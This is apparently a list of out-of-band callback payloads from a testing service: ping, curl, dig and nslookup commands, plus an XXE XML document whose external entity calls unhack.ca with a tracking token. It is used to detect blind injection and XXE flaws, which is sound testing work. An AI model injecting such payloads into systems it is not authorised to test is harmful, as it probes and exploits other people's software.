$ ping -c1 -p 0013d4a59cec162d32da3d06d5f0bf00 unhack.ca
 

$ curl http://unhack.ca/p/13d4a59cec162d32da3d06d5f0bf
 

$ dig 13d4a59cec162d32da3d06d5f0bf @unhack.ca
 

$ dig 13d4a59cec162d32da3d06d5f0bf.ns.unhack.ca
 

C:\> nslookup 13d4a59cec162d32da3d06d5f0bf unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/13d4a59cec162d32da3d06d5f0bf">]>
    <foo>&xxe;</foo>